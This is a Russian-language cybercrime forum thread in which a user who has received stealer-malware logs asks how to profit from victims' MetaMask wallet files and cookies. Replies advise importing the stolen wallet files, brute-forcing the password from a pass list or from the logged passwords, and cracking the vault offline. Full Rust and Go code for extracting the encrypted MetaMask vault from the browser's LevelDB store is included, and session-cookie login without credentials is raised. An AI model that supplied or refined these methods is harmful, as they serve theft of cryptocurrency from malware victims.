• XSS.stack #1 – первый литературный журнал от юзеров форума

Metamask файлы

Unseen

(L3) cache
Пользователь
Регистрация
17.01.2022
Сообщения
262
Реакции
246
Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!

Screenshot_1.png
Screenshot_2.png
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!

Посмотреть вложение 70518Посмотреть вложение 70519
подкинь эти файлы к себе в мету, и просто подбирай пароль с пасс листа,не давай никому,наебут еще)
 
Доброго времени суток Форумчане! У меня возник вопрос связанный с кошельком Metamask. Я в этом деле совсем зеленый. На днях мне прилетели логи со стиллела. В логах имеется пароли, куки, история, и папка с названием Yandex Default Metamask и в нем же куча файлов. Подумал а вообще с этих логов есть ли польза?

И хотелось бы немного узнать об куки. Вроде с помощью них можно авторизоваться на сайте без ввода логин пасс? Как это возможно реализовать? Благодарю всех!

Посмотреть вложение 70518Посмотреть вложение 70519
Скрытый контент для пользователей: Unseen.

Ну это для начала)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ldb при нужном орбращении тут же отдаст приваткей без переборов, все есть в гугле
То есть без пароля можно сразу получить доступ к кейстору? Можно ссылку?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
ldb при нужном орбращении тут же отдаст приваткей без переборов, все есть в гугле
подробнее господин,интересная информация)
 
То есть без пароля можно сразу получить доступ к кейстору? Можно ссылку?
подробнее господин,интересная информация)
Vault храниться в зашифрованном виде, получить его можно так:
Код:
/*

    add here to dependencies in Cargo.toml
        rusty-leveldb = "3.0.0"
        serde_json = { version = "1" }
        encoding = "0.2.0"
        clap = { version = "4.0.0", features = ["derive"] }
    build:
        cargo build --release
    usage:
        chrome_ext -p "/some/path/to/ext" -o "ext_name.json"
*/


use clap::Parser;
use encoding::{all::UTF_16LE, DecoderTrap, Encoding};
use rusty_leveldb::{LdbIterator, Options, DB};
use std::collections::HashMap;
use std::fs;
use std::path::PathBuf;
pub fn decode_str(buf: &[u8]) -> String {
    if buf.is_empty() {
        return String::new();
    }
    let prefix = buf[0];
    if prefix == 0 {
        let decoded = UTF_16LE.decode(&buf[1..], DecoderTrap::Replace);
        match decoded {
            Ok(v) => v,
            Err(v) => v.to_string(),
        }
    } else if prefix == 1 {
        String::from_utf8_lossy(&buf[1..]).to_string()
    } else {
        String::from_utf8_lossy(buf).to_string()
    }
}
#[derive(Parser, Debug)]
struct Args {
    /// LevelDB path (C:\some\path\nkbihfbeogaeaoehlefnkodbefgpgknn)
    #[arg(short, long)]
    path: PathBuf,
    /// Output filename (metamask.json)
    #[arg(short, long)]
    out_file: Option<String>,
}
fn main() {
    let args = Args::parse();
    let file = if let Some(v) = args.out_file {
        v
    } else {
        format!(
            "{}.json",
            args.path
                .components()
                .last()
                .unwrap()
                .as_os_str()
                .to_string_lossy()
        )
    };
    let opt = Options::default();
    let mut db = DB::open(&args.path, opt).expect("open ldb failed");
    let mut iter = db.new_iter().expect("new ldb iterator failed");
    let (mut k, mut v) = (vec![], vec![]);
    let mut values = HashMap::new();
    while iter.advance() {
        iter.current(&mut k, &mut v);
        let k = String::from_utf8_lossy(&k).to_string();
        let value_obj = decode_str(&v);
        let v: serde_json::Value =
            serde_json::from_str(&value_obj).expect("deserialize json failed");
        if let Some(vault) = v.get("KeyringController").and_then(|v| {
            v.as_object()
                .and_then(|v| v.get("vault").and_then(|v| v.as_str()))
        }) {
            println!("{:?} vault = {:?}", file, vault);
        }
        values.insert(k, v);
    }
    let buf = serde_json::to_vec_pretty(&values).expect("serialize obj failed");
    fs::write(&file, buf).unwrap_or_else(|e| panic!("write data to file {} failed: {}", &file, e));
    println!("extensions processed success, result in {:?} file", file);
}
В результате получаем vault (выводится в консоль) ну и все данные расширения в формат json. Сам vault дальше только брутить.
 
Еще такой момент. А давно вообще поменялся формат файлов у метамаска?

Недавно наткнулся на метамаск файлы *.log пустые vault нету. Но при импорте всех файлов в свой браузер, просит пароль и после перебора успешно логинется. В чем прикол знает кто?
 
Еще такой момент. А давно вообще поменялся формат файлов у метамаска?

Недавно наткнулся на метамаск файлы *.log пустые vault нету. Но при импорте всех файлов в свой браузер, просит пароль и после перебора успешно логинется. В чем прикол знает кто?
Не припомню чтобы он когда-либо менялся. Попробуй мою реализацию выше.
 
LevelDB — дисковое хранилище пар "ключ-значение" с открытым исходным кодом.

Открывается различным софтом, например LevelDataStudio.

Либо максимально простым куском кода на go:
Код:
package main

import (
    "fmt"
    "log"
    "os"
    "github.com/syndtr/goleveldb/leveldb"
)

func main() {

    arg := os.Args[1]

    db, err := leveldb.OpenFile(arg, nil)
    if err != nil {
        log.Fatal("OpenError")
    }

    iter := db.NewIterator(nil, nil)
    for iter.Next() {
        key := iter.Key()
        value := iter.Value()
        fmt.Println(string(key))
        fmt.Println(string(value))
    }
    iter.Release()
    err = iter.Error()
    defer db.Close()

}

Использование:
program.exe "путь к папке leveldb"

Vault находится в json['KeyringController']['vault']
 
ldb пароль подобрать надо будет, но вся прелесть то можно скрипт скачать и локально его дрючить. 95% из тех же логов пасс подходит. пруф https://support.metamask.io/hc/en-u...51-How-to-recover-your-Secret-Recovery-Phrase
Ага , только по интересной инфе большинство стилаков теперь особенно бесплатных или крякнутых почему то перестают отрабатывать на тачке когда есть мета с балансом и есть пасс от неё( ну лог уходит но не тебе ) а так сейчас все умные стали , трезоры и леджеры на вкусных кошельках почти всегда ) да и брут никто не отменял)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Vault храниться в зашифрованном виде, получить его можно так:
Код:
/*

    add here to dependencies in Cargo.toml
        rusty-leveldb = "3.0.0"
        serde_json = { version = "1" }
        encoding = "0.2.0"
        clap = { version = "4.0.0", features = ["derive"] }
    build:
        cargo build --release
    usage:
        chrome_ext -p "/some/path/to/ext" -o "ext_name.json"
*/


use clap::Parser;
use encoding::{all::UTF_16LE, DecoderTrap, Encoding};
use rusty_leveldb::{LdbIterator, Options, DB};
use std::collections::HashMap;
use std::fs;
use std::path::PathBuf;
pub fn decode_str(buf: &[u8]) -> String {
    if buf.is_empty() {
        return String::new();
    }
    let prefix = buf[0];
    if prefix == 0 {
        let decoded = UTF_16LE.decode(&buf[1..], DecoderTrap::Replace);
        match decoded {
            Ok(v) => v,
            Err(v) => v.to_string(),
        }
    } else if prefix == 1 {
        String::from_utf8_lossy(&buf[1..]).to_string()
    } else {
        String::from_utf8_lossy(buf).to_string()
    }
}
#[derive(Parser, Debug)]
struct Args {
    /// LevelDB path (C:\some\path\nkbihfbeogaeaoehlefnkodbefgpgknn)
    #[arg(short, long)]
    path: PathBuf,
    /// Output filename (metamask.json)
    #[arg(short, long)]
    out_file: Option<String>,
}
fn main() {
    let args = Args::parse();
    let file = if let Some(v) = args.out_file {
        v
    } else {
        format!(
            "{}.json",
            args.path
                .components()
                .last()
                .unwrap()
                .as_os_str()
                .to_string_lossy()
        )
    };
    let opt = Options::default();
    let mut db = DB::open(&args.path, opt).expect("open ldb failed");
    let mut iter = db.new_iter().expect("new ldb iterator failed");
    let (mut k, mut v) = (vec![], vec![]);
    let mut values = HashMap::new();
    while iter.advance() {
        iter.current(&mut k, &mut v);
        let k = String::from_utf8_lossy(&k).to_string();
        let value_obj = decode_str(&v);
        let v: serde_json::Value =
            serde_json::from_str(&value_obj).expect("deserialize json failed");
        if let Some(vault) = v.get("KeyringController").and_then(|v| {
            v.as_object()
                .and_then(|v| v.get("vault").and_then(|v| v.as_str()))
        }) {
            println!("{:?} vault = {:?}", file, vault);
        }
        values.insert(k, v);
    }
    let buf = serde_json::to_vec_pretty(&values).expect("serialize obj failed");
    fs::write(&file, buf).unwrap_or_else(|e| panic!("write data to file {} failed: {}", &file, e));
    println!("extensions processed success, result in {:?} file", file);
}
В результате получаем vault (выводится в консоль) ну и все данные расширения в формат json. Сам vault дальше только брутить.
Та это понятно, ничего нового тут нет. Но человек же написал что можно получить приватник без подбора.
 
Та это понятно, ничего нового тут нет. Но человек же написал что можно получить приватник без подбора.
Человек ерунду написал же)
 
Да, не так немного выразился. ТС озвучил что есть логи, соответственно имея логи 95% успеха - что пасс из них подойдет.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх